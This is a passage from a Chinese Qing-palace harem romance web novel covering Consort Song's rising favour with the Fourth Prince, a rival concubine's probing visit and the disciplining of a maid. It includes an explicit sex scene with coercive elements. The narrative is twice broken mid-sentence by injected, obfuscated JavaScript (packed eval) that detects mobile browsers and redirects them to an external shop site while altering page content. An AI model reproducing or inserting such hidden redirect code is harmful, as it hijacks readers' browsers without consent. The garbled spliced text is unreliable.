这还真是稀奇了,宋时繁竟然想起来给他送东西?四爷不免觉得好笑,府里倒是有人经常送东西到前院来的,旁的不说,福晋便是每日一盅养生汤雷打不动地往他书房里送,至于旁的格格们,哪怕郭格格是个闷葫芦,也偶尔会送个扇坠子什么的给他,其余的,武格格和李格格也不时会送点东西进来,以示对他的关心。 可宋时繁还真就 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“你当然不晓得,她在里头添了几味提神的药材,倒是新奇,闻起来也使人精神一振。”四爷笑了笑,难得耐下性子跟苏培盛解释了一句。 “唉哟,可见宋格格是放了巧思在里头呢,知道主子爷您日夜辛劳,便想出这么个法子来。”苏培盛小小地拍了一下四爷的马屁。 四爷也听高兴了,开口问道:“送东西来的人还在不在?” 苏培盛忙去外头叫了石桥进来。 “奴才给主子爷请安,主子爷吉祥。”石桥一进来就给四爷行了个大礼。 四爷摆摆手示意他不必多礼,“你且起来,爷问你,你家格格除了让你送东西来,可还有交代什么旁的?” 石桥本来还生怕四爷不问他呢,这会子忙乐颠颠儿地道:“回主子爷的话,格格交代奴才给您带了一句话来。” 闻言四爷显然是起了兴趣,:“你家格格让你带了什么话?” 石桥思索了片刻,确定自己没记错后才开口道:“回四爷,格格说的是‘努力加餐勿念妾’。” 四爷听了先是一愣,随即便朗声笑了起来,“她啊...可真是...促狭!” 说罢,四爷心里也有些痒痒地,竟是想立刻见到宋时繁,于是乎,他将荷包往怀里一揣,便踏着愉悦的步伐朝着宋时繁的院子去了。 屋内,宋时繁正望着窗户发呆呢,不期然地,四爷的身影便闯进了宋时繁的视线里。 宋时繁见到四爷的时候还有些惊讶,这人居然真来了,宋时繁的心里飞速划过一抹异样的情绪,但很快又消失不见,快到宋时繁还来不及分清是什么情绪,可随之而来的就是担心,四爷会不会是来兴师问罪的呀? 毕竟她刚刚那句话真论起来还是挺没规矩的。 好在,四爷很快就到了宋时繁的面前,面上还带着轻浅的笑意。 “爷倒是不知道,爷的后院里竟然还藏着一个深闺小怨妇呢。” 80. 顺势调戏一番 “让爷好好瞧瞧,是谁这么大的胆子?”说罢,四爷还伸出一根手指将宋时繁的下巴挑了起来,那模样,简直是个纨绔子弟,把宋时繁看得一愣一愣的。 宋时繁有些囧,偏四爷戏瘾大发,不肯放过宋时繁。 只见四爷嘴角噙着一抹坏笑,语气里满是漫不经心,继续开口道:“爷瞧你这小娘子姿色倒是上佳,可性情却是不怎么好,怎么竟做出这些勾引爷们的事儿来呢?” 好一幅放荡不羁的风流多情公子哥儿模样,叫四爷演得那叫一个绘声绘色。 此时宋时繁想不配合都难,毕竟归根结底,这事儿还是她先挑起来的。 索性,宋时繁的长相本就清纯无比,这会子略一垂下眼帘,鸦羽似的睫毛根根分明,在眼下投出一片儿阴影,看上去好不惹人怜惜,未出一语,倒是将个被调戏了的无辜少女扮得真真儿的。 偏四爷就爱宋时繁这个调调儿。 其实真说起来,四爷也有点儿想不通,宋时繁孩子都给他生了两个了,如今大格格也已近半岁了,怎的在这些床塌之事上,她竟愈发懵懂起来,总是摆出一副纯情的模样,让四爷欲罢不能。 能在府里伺候的奴才们肯定都是有眼力见儿的,瞧着屋子里头的两个人都快粘到一起了,自然早早地便退了下去,白薇甚至还贴心地将房门给关上了,四爷见状再无半分顾及,一伸手就把宋时繁捞到了自个儿的怀里,居然打算直接就在外间的软榻上行事。 外头的天仍是亮着的,虽已至黄昏,但霞光簇簇,十分扎眼。 宋时繁臊得不行。 先前熄了灯的时候,两人在黑暗当中做那种事,宋时繁还能掩耳盗铃一般地安慰自己一二,如今可真真儿算得上是在白日宣淫了,宋时繁无法,只得拉过榻上的毯子,将自己的脸遮住,好歹是一层遮羞布。 可四爷是真心喜欢宋时繁此刻羞红了的面颊,哪里会允许她挡住这片醉人的美景? “乖,给爷瞧一瞧,都已经是爷的人了做什么还这样害羞...” 四爷低沉的声音就贴在宋时繁耳边响起,自带一股子慵懒的气息,宋时繁被惊得一个激灵,整个人都跟着颤了颤,抓着毯子的手便有些不稳了。 四爷趁势拨开毯子,将宋时繁的脸蛋儿完全暴露在了空气当中。 宋时繁阻止不及,兼之手上也没了力气,一不留神便叫四爷得了逞。 此时的宋时繁,脸上的红晕都蔓延到耳朵根了,一阵阵细碎的呻吟声从绯红的唇瓣中散落出来,宋时繁实在是耐不住了,干脆将头一偏,用牙齿死死咬住下嘴唇,只留下个侧脸给四爷瞧,权当自己什么都看不见。 可四爷却不愿意轻易让她逃脱,坏心眼儿地用大掌钳住宋时繁的下颌,硬是将她的脑袋扭正,强迫宋时繁正面对着自己。 “别动,就这么看着爷。”言语间端的是无限温柔,但与之相反的,四爷的动作却称得上是粗鲁。 宋时繁不得已只能被迫瞧着四爷,不期然地,她发现,此刻四爷的一双眼睛亮得吓人,甚至还有一颗硕大的汗珠顺着四爷的鼻尖直直地落在了她的脸颊上,似急促又似缓慢,她甚至能从里头感受到温热。 她想挣脱,力气却抵不过四爷的,急得她眼圈儿都是红的,偏生四爷身下的动作不曾有一刻停止,丝毫没有要放过她的意思,甚至还有愈演愈烈的趋势,宋时繁气急了,于是乎就瞪了四爷一眼。 宋时繁也是傻了,这个时候的她,眼神里哪有一丁点儿的杀伤力,相反,这一眼满含春色不说,仅是她眸子里的潋滟水光差点就要满溢出来,把个四爷都给瞧酥了。 最后的结果就是,四爷动作得更加卖力了,甚至一激动还直接把宋时繁揽了起来,两个人之间竟是一丝一毫的缝隙都没有留下。 等到宋时繁彻底失去力气,软绵绵地倒在四爷怀里,只能任由四爷施为的时候,四爷犹自未足,拽着宋时繁又来了一遍,这才算是暂且饶过了她。 就这,还是四爷念着宋时繁仍在病中,有所收敛了的缘故,否则,怕是要直接奔着忙到半夜里去了。 彼时,身心都舒坦了的四爷想叫人进来伺候,却不妨宋时繁伸手拉住了他,“别,等会儿,我想...先回床上去...不能在这里...” 开玩笑,若是白薇她们进来之后看见她就这么大喇喇地在软榻上跟四爷行了事,就算她们面上不会说什么,但架不住心里会想啊,到时她成了什么人了? 呸,都是四爷这个不正经的带累了她。 四爷闻言也知道宋时繁的小心思,不过鉴于方才四爷吃得着实是很开心,便也不介意依着宋时繁一次,更何况,宋时繁不经意撒娇的声音简直软糯得不像话,若是不依了她,四爷怕是都会有罪恶感。 思及此,四爷将宋时繁打横抱起,三步并作两步地回到了床榻之上,又回身捡起刚刚散落在外间的衣物,等宋时繁把里衣都穿戴整齐后,四爷这才唤了奴才们进来。 白薇等人倒是都训练有素的,根本没有发生宋时繁想象中被人笑话的场景。 只见她们进来后也不敢过分抬头看主子,均是垂着头颅,又分工明确地将沐浴要用到的东西预备好后,先请四爷去屏风后面擦洗,而后,白薇便搀扶着宋时繁去了侧间梳洗更衣。 宋时繁原本还有些害羞,可白薇她们都是一副再寻常不过的样子,她也渐渐舒缓了心情,任由白薇帮她擦了擦身上的秽物,又换了一件新的里衣,因着已是入夜,便没有穿外头的衣裳,反正过会儿也要歇了。 不过,当宋时繁再次踏进屋内的时候,正巧碰见竹苓在收拾被折腾得一片狼藉的软榻,宋时繁打眼一瞧,竟是将榻上的东西整个儿都换了一遍。 宋时繁抚了抚额角,有些无语,刚刚只顾着人往床上回了,倒是忘记犯罪现场了,这可真是... 于是乎想着想着,一抹嫣红悄然爬上了宋时繁的脸颊,如擂鼓般的心跳声几乎就响彻在她的耳际,偏偏此时的四爷已经沐浴更衣过了,穿戴整齐不说,好像连头发都是重新编过的,眼下正老神在在地坐着喝茶呢,好不悠闲。 仿佛刚刚压着宋时繁逞凶斗狠的那个人根本不是他一样。 宋时繁在心底里暗暗啐了四爷一句,又自觉在人前丢了颜面,便故意不往四爷身边走,撇着个小嘴坐到 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“奴才不敢,四爷要去哪儿岂容奴才置喙。”宋时繁没忍住到底是顶了四爷一句,可话音刚落她便咬住了自己的舌尖,嗐,她这嘴怎么老是管不住? 好在四爷只以为宋时繁是在耍小性子,根本不与她计较,思躇片刻后又开口了,不过这次是对着苏培盛说的。 “苏培盛,爷记得爷的私库里有一对嵌珠珊瑚手镯和一对绞丝玉镯,你去一并取来,另外你看着什么好的项圈也选两个来,再就是...把爷那一匣子宝石拿来。” 说到项圈的时候,宋时繁已经有些侧目了,等听完四爷吩咐让将宝石匣子都取过来的时候,宋时繁已经惊呆了。 她又不傻,这会子四爷当着她的面让苏培盛找这些东西来,自然是要赏赐给她的,可眼下不年不节的,突然给她这么多赏赐?她怕拿着烫手... 不过四爷想赏赐谁显然由不得拒绝,没一会儿苏培盛便捧着个托盘回来了。 只见上头除了四爷一开始提到的两对镯子,还摆着一个金累丝项圈以及一个鎏金嵌珊瑚项圈,除此之外另有一副金累丝灯笼耳坠,当然还有一个小匣子,里头装着的自然是四爷刚刚吩咐过的宝石了。 四爷朝托盘上大略扫了一眼,见东西选得都不错,于是心下满意了,“事儿办的不错。” 鼓励完苏培盛,四爷又对宋时繁道:“过来瞧瞧,喜不喜欢?” 宋时繁有些犹豫:“这…奴才受之有愧。”呜呜呜,都这么好看,可没个缘由她怎么敢随便拿? 不想四爷却板起个脸道:“爷赏赐你你收着便是!对了,回头用这些宝石镶嵌戒指吧,爷给你一匣子,想嵌多少就嵌多少。” 嗯,四爷还没忘记昨日宋时繁得了福晋一个戒指就高兴得没边的模样。 四爷可不管宋时繁什么想法,让苏培盛将东西放下以后,又叮嘱了宋时繁几句好好喝药之类的话,便大踏步离去了,徒留下宋时繁一个人在风中凌乱。 这些东西她真能收吗? 其实,宋时繁的担心完全多余了,她瞧着这些东西各个儿都好,殊不知在四爷的眼中这都是些再寻常不过的东西了,根本不值当什么,用来哄自家小格格开心正好。 81. 突然到访 人一旦清闲下来以后,时间便过得飞快,转眼间,就到了春日,已经可以换上薄薄的春衫了,宋时繁的病也好全了。 她现在不用日日去给福晋请安了,只需要在初一、十五的时候到正院儿里去点个卯,压根不费什么功夫。 故而,宋时繁就愈发不愿意出门了,整日家不是遛娃就是逗狗,日子过得好不自在。 她还让石桥到府里的杂物处要了一副麻将回来。 这段时间,四爷常常会到宋时繁这里坐一坐,而且几乎每次来她这儿的时候,夜里都会留宿,这也导致府里的风向跟着转变了,大家都知道宋格格这是得了四爷的青眼了。 如今,宋时繁再要什么东西,虽说打赏是不能省的,可总算是不会被底下人为难了,想要什么只需派石桥去走一趟,杂物处的人便紧赶着给她送来了。 于是乎,宋时繁便得到了一副由竹木制成的全套麻将,虽然用得不是什么名贵的材料,可摸起来十分光滑,可见杂物处的人也是用了心的。 至于宋时繁为何会想起要麻将来玩,这说来也巧。 眼下她好歹算是特权阶级了,只稍微露出那么一点儿觉得无聊的意思来,白薇她们便领会到了,自然要想着法子给宋时繁找东西玩,这麻将也是经过白薇她们的提醒,宋时繁才想起来的,况且,宋时繁看着自己这一院子的人,也觉得不凑在一块打牌真是太可惜了,白薇等人见宋时繁意动,直接就去杂物处,叫那边的人现制了一副麻将出来。 宋时繁原先还以为古代人平日里玩的大约都是什么射覆、占花名之类比较高雅的东西,再不济也应该是花牌、叶子戏什么的,没承想清朝的时候麻将居然已经十分盛行了,不说别的,就她手底下的几个人几乎都是会玩的,宋时繁便也被勾起了兴致。 等杂物所把麻将送过来以后,宋时繁便拉着白薇她们见天儿地在院子里打起牌来。 这时候的麻将玩法跟现代的玩法已经大差不差了,牌数、花样几乎没有什么太大的变化,因此宋时繁上手还挺快的,白薇只是大致跟她讲了一遍规则,又坐在宋时繁身边帮着她指了几次如何出牌,宋时繁自己便已经能玩得风生水起了。 其实,没穿到这里来之前,宋时繁也是玩过几把麻将的,不过都是在年节里的时候,被妈妈、姨娘她们拉上桌凑数的,说到底也就是过年图一乐呵,没有什么太大的输赢,毕竟大人们还看不上她那点子压岁钱,所以她也没从麻将中体会到有什么乐趣。 可眼下,白薇几人陪着她打牌,不是一不留神出错了牌,就是不小心放错了炮,总归是想着法子让她赢,生怕她玩得不尽兴,倒还真是让宋时繁找到点子趣味儿。 当然,宋时繁也不要奴才们的钱,她眼皮子没有那么浅呢,奴才们日常做活已经够不容易的了,她还不至于要别人的辛苦钱,索性每次打完一场麻将后,她再将赢来的铜钱一人一把抓给陪她玩的人。 所以虽然宋时繁几乎没有输的时候,可到最后总是要贴点儿钱进去的。 四爷也知道自家小格格没事儿就带着奴才们在院子里打牌,他倒没有什么意见,毕竟皇阿玛都说这是“清玩雅趣”,小时候他们几个兄弟也凑在一起玩过,当时皇阿玛还在一旁兴致勃勃地瞧呢,更何况,在四爷的眼里,宋时繁虽然已经当了额娘,可实际上还是个孩子呢,孩子嘛,玩心大不是应该的吗? 故而四爷还命杂物处制了一副玉石麻将送给宋时繁,又派人专门送了一大摞铜钱来,叫她尽情玩去。 有了四爷在背后给她做钱匣子,宋时繁打赏起奴才来就更加肆无忌惮了,这就叫有好大家分嘛,她玩得开心了,奴才们也没有白辛苦一场,两全其美,多好呀,只是那副玉石麻将叫宋时繁好生收起来了,毕竟是玉做的呢,就算是麻将宋时繁也舍不得拿来随意玩,平时还是多用先前的那副竹木麻将。 可惜,宋时繁的日子倒是过得自在了,偏生有人不乐意宋时繁独自躲清闲,上赶着要给她找点事儿做一做。 对此宋时繁只能表示,该来的她想躲也躲不掉。 这日,宋时繁才用完午膳,还在回味刚刚饭桌上的那道芥末鸭掌呢。 如今宋时繁已经彻底回奶了,既然不能再给大格格喂母乳了,她又问了太医眼下也没什么需要忌口的东西,于是她便放开了胃口吃。 要知道,宋时繁一来这里就赶上了生孩子坐月子,至今都没吃上几顿有味道的菜呢,想她过年时馋得那一口麻辣锅子到现在还没着落呢,眼下可以随便吃了,宋时繁立刻就让石桥带着钱去膳房点了些口味重的菜式来解解馋,其中那道芥末鸭掌别提多合她的口味了,一不小心便吃撑了。 就在宋时繁绕着自家院子里消食的时候,曹三宝忽然来报,说是武格格人到门口了。 这就让宋时繁有些惊讶了,好端端的,她怎么会突然过来? 还没等宋时繁想明白呢,武格格笑吟吟的脸已经出现在宋时繁的眼前了。 宋时繁下意识往武格格身后瞧了瞧,没有郭格格的身影,这也是稀奇了,她们二人自从进府以后便是日日同进同出,今儿个居然只有武格格一个人来找她? 思及此,宋时繁不觉打起了十二分精神,她一向是有些忌惮武格格的。 “武妹妹怎地有空到我这里来了?”宋时繁同武格格两人见了个平礼,便引着武格格到屋内坐下,又吩咐白薇快去泡茶。 “宋姐姐千万别忙,妹妹只是今日无事,便特来瞧一瞧姐姐,同姐姐说说体己话,宋姐姐别不欢迎妹妹就行了。” “武妹妹这是哪里话?你能来瞧我,我欢喜还不够呢,怎会不欢迎?”宋时繁一时间摸不清武格格是什么意思,只好客套地同她打着机锋。 不想武格格闻言却是笑了笑,状似嗔怪地开口道:“唉,妹妹原先还以为宋姐姐更喜欢郭妹妹呢。” 宋时繁被武格格直白的话语说得一愣,片刻后才接话道:“我待你们是一样的,自是拿你们都当我自家妹子呢。” “那也是,妹妹刚进府的时候就瞧出来了,宋姐姐不是那等表里不一的人。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13902539|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 武格格紧跟着恭维了宋时繁一句,当然,是真是假就没法儿探究了。 宋时繁总不好自夸,听了这话只得抿唇笑笑,没有接话,然而武格格却是话锋一转,又开了口:“可惜,并不是人人都如宋姐姐这般坦荡...”说到这里,武格格竟还叹了一口气,向来活泼的面容上竟显出一丝愁苦来。 宋时繁见状不好装作没看见,只得开口问道:“好好的,妹妹这是怎么了?” 武格格扯了扯唇角,“我倒有些羡慕姐姐,可以自个儿住一个院子,好歹清净,从前妹妹在闺阁中时,仰仗阿玛额娘疼爱,早早便单独辟了一处院子自个儿住,不过时日久了却难免觉得一个人有些落寞,所以刚入府的时候,奴才得知能跟郭妹妹同住,心里别提多高兴呢,可眼下看来,倒不尽如此,是妹妹目光短浅了。”话里话外,都在引着宋时繁去想郭格格的不是。 武格格这话听起来还真是大有深意,宋时繁不明白她绕来绕去的,到底是想说什么,只好借着喝茶的功夫垂眸思考了一会儿。 “妹妹此言差矣,一个人住有一个人的清净,两个人做伴也有两个人的热闹,我竟觉得怎样都不错呢。”最终,宋时繁还是捡了一句最不会出错的话来说。 武格格听了没说什么,仿佛刚才只是随口说来的玩笑话,见宋时繁没有顺着话头往下说她也不闹,只是忽然又扯起孩子来:“说起来,妹妹还没见过大格格呢,这会子能抱出来叫妹妹瞧瞧吗?” 这种事情宋时繁自然不好拒绝,便让白薇去叫奶娘把大格格抱来。 “呀,咱们大格格真漂亮,我瞧着是随了宋姐姐呢,长大了想必是个美人胚子。”武格格仿佛真心喜欢孩子一样,看见大格格便不住地开始夸奖,好听话跟不要钱似的往外冒。 “孩子还小呢,看不出什么好看不好看的,武妹妹谬赞了。”说罢,宋时繁便让奶娘将孩子抱回去了,“大格格这个点要午睡了,若是不让她睡,等下哭起来就没完了,还请妹妹不要见怪。”宋时繁带着些羞赧道。 武格格没有要阻拦的意思,而是连声道“快别耽误孩子睡觉”,等奶娘抱着孩子走了以后,武格格才状似不经意地开了口:“有个孩子在身边真是好呢。” “妹妹常陪伴四爷左右,孩子迟早会有的,而且你年纪也不大,不急呢。”宋时繁其实更想说的是,最好还是等二十以后再生,不过她想了想又憋回去了,这时候的人怕是难以接受晚点生孩子对女人身体好的思想,她还是别自讨没趣儿了。 武格格不知道宋时繁在想什么,听见这话立马接道:“那也是,妹妹却是不着急的,毕竟咱们府上可很快就又要有两个孩子了呢,到时候就热闹了,唉对了,宋姐姐,等孩子多起来以后,姐姐就不愁没有人陪大格格玩了呢,大格格也不孤单了,只是...到时弟弟妹妹们怕是要分走大格格的宠爱了呢。”武格格话语间满是天真,仿佛只是随口跟宋时繁开了一个玩笑。 宋时繁也确实笑了,她算是有点明白武格格今日为何要跑这一趟了,这可真是... 82. 不单纯 看来,府上的两位格格相继怀孕以后,武格格也坐不住了,这不是明摆着想借大格格来挑拨她去对付李格格和郭格格吗? 宋时繁早就知道武格格单纯天真的面容里,藏着无数道弯弯绕绕,只是不知道武格格今日过来是她自己的意思呢,还是福晋也跟着在背后掺和了一脚。 毕竟有眼睛的人都瞧得出,武格格是已经投靠到福晋的正院里去了。 不过再怎么说宋时繁和武格格以后还要在一块共事嘛,宋时繁就算知道武格格没安好心也不能太不给人面子,只好随意含糊了一句,“武妹妹说得正是呢,我还真是巴不得咱们府上能多几个孩子在跟前呢,郭妹妹和李妹妹两个人怀孕的时间也好,等到时候孩子生下来了,几个孩子们年龄相当,正好能一块儿做伴,兄弟姐妹们在一起时间长了感情也更好,可不是巧了!” “宋姐姐倒是心大,只是...姐姐就不怕多了几个弟弟妹妹们,咱们主子爷就不那么疼爱大格格了?远得不说,怕是以后就不能匀出这样多的时间来看望大格格了呢...”武格格面上仿佛十分担心宋时繁的样子,其实心中十分不屑。 宋时繁刚刚的话,武格格是一万个不信的,如今就借着大格格见天儿地缠着主子爷,等日后府里孩子多起来了,宋时繁焉能坐得住?武格格心道,这四贝勒府里就没有一个人真是清心寡欲的。 没错,不知武格格,府里人人都觉得宋时繁是凭借大格格才得了四爷的青眼,否则她一直在府上都跟个隐形人似的,何以见得如今竟有本事能留住四爷了?还不是仗着大格格是四爷眼下第一个孩子,也是唯一的一个孩子,又体弱了些,还不得可着劲儿地博取四爷的关注吗? 宋时繁也明白武格格心里是怎么想的,但她却没有急着开口,而是慢悠悠地端起茶盏吹了吹杯中飘着的浮沫,顿了顿后才笃定道:“武妹妹说笑了,我虽不敢说主子爷会不会一直疼爱大格格,但总归都是四爷的亲生孩子,四爷为人最是公正,也不是那等刻薄子女的人,定不会做出什么厚此薄彼的事儿来,想是妹妹多虑了。” 说罢,宋时繁还对着武格格嫣然一笑,全然一副信任四爷的模样。 其实这里头也不光全是在做戏,就宋时繁跟四爷目前的接触来看,四爷还真是个疼爱孩子的人,虽然这里头不知道有几分是真心疼爱吧,但哪怕是面上情,也已经比宋时繁预期的要好太多了。 只是宋时繁刚刚的话就有些重了,武格格不敢接,她总不能直接说四爷不见得是个公允的吧,况且就算事实真是如此那也不能宣之于口,否则不是成了寿星公上吊活腻歪了吗? 故而,武格格尴尬地笑了笑,没再说话了。 可武格格在心里却觉得宋时繁极其不上道,她都已经把话说得这样明白了,宋时繁还一副浑然不觉的样子,真是...不知道她是真傻还是装傻。 宋时繁见状便也没继续说那些冠冕堂皇的话了,而是转头招呼着武格格吃点心,反正她就是随意扯了四爷的大旗来堵住武格格的嘴罢了,眼下目的已经达到了,自然不肯再开口了。 不得不说,四爷的名头还是挺好用的,宋时繁拿起一块如意糕轻轻咬了一口,在心里如是想道。 不想,武格格仿佛还没有放弃,只沉默了一瞬,转而又挑起了另一个话头来。 “宋姐姐还不知道吧?福晋今日一早便吩咐了膳房,让他们做了许多样式的花糕出来,说是过几日要在府里办一场赏花宴呢,到时候各家的福晋们怕是都会来,那可有得热闹了” 这还真是个新鲜事儿,宋时繁闻言弯了弯唇角:“听起来倒确实有趣,福晋是个风雅的人呢,只不过那样的场合也不知道咱们能不能去凑个热闹。” 当然,宋时繁也就是顺着武格格的话随口一说的,想也知道既然旁的府上福晋们都要过来,她们这些格格恐怕是不能出去的。 谁知武格格却拍着胸脯信誓旦旦地道:“可不是有趣!宋姐姐也想去瞧一瞧赏花宴吗?这有何难的,等回头请安的时候,妹妹去跟福晋求个恩典便是了,福晋向来宽容大度,这点子小事不会不同意的。” 宋时繁对此不置一词,去不去的反正她也没多期待,不过若是福晋真准了,就是凑一凑热闹也没什么的,只是,看武格格的意思,倒是很想去的样子,兴许是她年纪还小,玩心重吧,宋时繁也没多想。 武格格在宋时繁这里坐了好长一会儿了,再耽搁下去也不合适,于是乎,她瞅准机会便跟宋时繁请了辞,宋时繁没多留,客客气气地把人送走了。 待武格格走了以后,宋时繁慢慢站起来舒展了一下身体,有外人在的时候,需得坐有坐相,她方才一直绷着身子呢,别提多难受了,这会子觉得腰都快散架了。 白薇见状思索片刻后,从箱笼里取出美人锤来,体贴道:“格格累着了?奴才给格格锤锤背吧。” 宋时繁没反对,顺势歪在了软榻上,跟没骨头似的,“那便锤锤吧,辛苦你了。” 白薇应了一声后就脱下绣鞋,轻巧地爬上了软榻,跪在宋时繁身后帮她锤起背来。 她手上力道拿捏得刚刚好,没多会儿,宋时繁就觉得肩膀没那么僵硬了,这时候白薇忽然轻声道:“格格,奴才这力道合适吗?” 宋时繁原本舒服得都快眯着了,这会子听见白薇问了她也没多想,只随口应了一声:“嗯,挺好的。” 只见白薇轻轻咬了咬下嘴唇,到底还是没忍住又开了口:“说起来,这对美人锤还是竹苓做的呢,她知道格格自从出了月子以后就容易腰疼,便摸了一晚上的黑缝了这个出来,还央着于太医给她开了好些宁神的药材...” 宋时繁就这么默默地听着白薇说,末了才道:“白薇,你想说什么?” 白薇停下动作,挪到宋时繁跟前,仿佛下了决心般重重磕了个头:“格格,虽然竹苓来伺候得晚了些,可奴才日日瞧着她,她待格格的心同奴才是一样的,奴才知道竹苓是犯了错惹格格不高兴了,格格才不叫她到近前伺候,可格格,您就看在竹苓往日得好处上,饶过她这一次吧!” 宋时繁伸手将白薇拉了过来,皱着眉头问道:“是竹苓叫你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13930579|137497||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到我面前来说这些的吗?” 白薇猛地摇了摇头:“没有,是奴才自作主张,奴才瞧着竹苓这几日沉默了许多,还日日在院子里做些洒扫的活计,奴才瞧着心里不是滋味儿,想着到底姐妹一场这才...是奴才多嘴了,格格恕罪!” 宋时繁闻言眉心慢慢松开来,幸好不是,倘若真是竹苓挑唆着白薇来帮她说情的,她怕是就不能留着竹苓了,她不怕身边人老实,却怕有那太聪明的。 “白薇,我刚来这里,你就陪在我身边,也没有因为我失宠便弃我而去,所以,除了大格格我最信任的就是你了,其他人虽说是后来的,可只要愿意老老实实地在我这个院儿里呆着,我也都一视同仁,但竹苓...”宋时繁顿了顿,又继续道:“竹苓是个机灵的,就是两个你加起来怕也没有她一个人有眼力见儿,又尤善揣摩人心,往往我刚抬一下眼她就知道我想干嘛了,这样的人用着是顺心,可我就怕她太机灵了,长此以往再害着她自个儿,我这么做也是想叫她醒醒神。” 白薇听得有些似懂非懂,看着她还是一派的茫然的模样,宋时繁不免觉得好笑,点了点白薇的脑袋:“瞧你,什么都不知道就傻乎乎地来替别人求情,唉,罢了,你去喊她吧,我同她谈一谈。” 白薇见宋时繁松了口,知道这事儿有门儿,又听出宋时繁不是真地在生竹苓的气,面上就显出些高兴来:“哎,哎,多谢格格,奴才这就去将竹苓叫进来!”说罢,兴高采烈地下了软榻,转身便去找人了。 不多会儿,竹苓低垂着头进了内室,隔得老远儿就跪了下去,结结实实给宋时繁行了一个大礼:“奴才给格格请安,格格吉祥。” “起来吧,做什么突然行这样大的礼。”宋时繁淡淡开口,说话间还打量了一眼竹苓,短短几日的光景,瞧着人都瘦了一圈儿了,看来先前说不许她到自己跟前的话倒是真把她给吓着了。 “你可知道我为何要罚你?”宋时繁想了想还是直接了当地将此事挑明了说。 竹苓抿了抿唇角,有些犹豫地道:“格格可是因着奴才自作主张在主子爷面前袒护石桥一事...” “是,也不是。” 竹苓闻言又低下了头,不敢再开口了。 “唉,”宋时繁轻轻叹了口气,“你过来。” 竹苓往近前上了两步,见宋时繁没出声,又挪了两步,直到站在了宋时繁三步可及的地方。 宋时繁见状又道:“你坐下。” 竹苓低声道了句“不敢”,身子晃了晃,到底是没动。 “我不是在跟你假客气,让你坐下你就坐下吧。”说着,一把拉过竹苓在软榻上落了座,不过竹苓自己却是不敢坐踏实了,只将半个屁股挨在上头。 宋时繁没继续为难她,斟酌了一番开口道:“我其实没有生你的气,我知道你聪慧,是,你在四爷面前替石桥瞒了他的错处,说破大天也就是件小事儿,可万一呢,万一四爷瞧出来端倪了,又或者你这次幸运,瞒下来了,日后呢,今次你替他们做了这个主,焉能保证次次都有这样幸运的事吗?” 83. 突然发难 “更何况,不在其位不谋其政,尤其是在这府里,越俎代庖不是什么好事,我身份不高,你若有个什么万一,我竟不知该怎么护住你,所以,我不得不罚你,万一此后有东窗事发的一日,也算是有个说法了,竹苓...你,能明白吗?”一番话叫宋时繁说得尤其艰难。 “格格...” 竹苓这几日一直挺煎熬的,她原以为宋时繁怕是再也不会用她了,毕竟奴才犯了错没有叫主子担待一二的道理,而且她先前显然是已经招了宋时繁的不喜了。 不想这会子,竹苓居然能听见宋时繁同她这样推心置腹的说话,而且字字句句里都是在替她考虑,一时间,竹苓的眼圈儿都有些红了。 “格格,奴才知错了,奴才辜负了您的信任。”说话间,竹苓的泪水就扑簌簌往下掉,她还想跪下,叫宋时繁眼疾手快地给拉住了。 “不,你没错,你记住,罚你是不得已,也是我想叫你长个教训,可我心里从来没觉得你哪儿做错了,我知道你是好心,不管是为了我还是为了石桥,我都有数的...只是,人在屋檐下不得不低头。” 宋时繁轻轻拍了拍竹苓的手背:“好了,你去吧,日后照常回来伺候便是,从前你管什么事如今都照旧。”这一句,便是为着安一安竹苓的心了,让竹苓知道自己待她还是如旧,否则她整日惴惴不安的,怕是差事也干不成了。 竹苓哪里会听不出来宋时繁的意思,也知道宋时繁是真心待她,于是哽咽着开了口:“格格,奴才...奴才...”却是怎么也不成个句子。 见竹苓还在抹眼泪,宋时繁露出个笑来,语气轻松道:“得了,快去梳洗一下吧,都成个大花猫了,你刚来的时候我怎么没瞧出你这样爱哭?回头啊,你白薇姐姐又该说我欺负你了,你怕是不知道,你白薇姐姐担心你着呢,若不是她求情,我才不理你。” 宋时繁也是特意说的这一句,好叫竹苓承了白薇的情。 竹苓闻言破涕为笑,一张脸上又是泪水痕子,又是脂粉块的,模样好不滑稽,惹得宋时繁笑得更欢实了,直把个竹苓都笑害羞了。 竹苓也知道自己眼下这个样子不适合杵在宋时繁的面前,于是规规矩矩地跟宋时繁行礼告退,末了却又柔柔地说了一声:“格格放心,奴才都明白的...”声音很轻,但语气坚定。 解决完竹苓的事以后,宋时繁这心里才算是放下一块大石头,继而又恢复成原先摊成一团的状态了。 十五这天,是按规矩要去给福晋请安的日子,宋时繁一早便起来了,如今她每个月只需上两天班了,宋时繁对此还是很满意的,故而去早点也能显得出她有诚意嘛。 宋时繁一进正院就发现府里其他几位格格们也都来得挺早的,这会子正坐在偏厅里默默喝着茶等福晋起床呢。 虽说是坐了一屋子的人,倒是也没有发出什么交谈的声音,宋时繁便也入乡随俗,跟众人见了礼后,找了个位子坐下了。 不过宋时繁却是没怎么喝茶的,在人家的地盘上还是有很多不便之处的,头一个就是不能方便,毕竟她总不能跑到福晋这里来上厕所吧?要知道这时候可没有马桶给她用,身上穿得衣服也繁复无比,跑一趟厕所不知道要添上多少麻烦呢。 故而宋时繁只略吃了两块点心就罢了,除非被点心噎到的时候,她才会抿上一小口茶。 然后,宋时繁就开始对着虚空处神游天际。 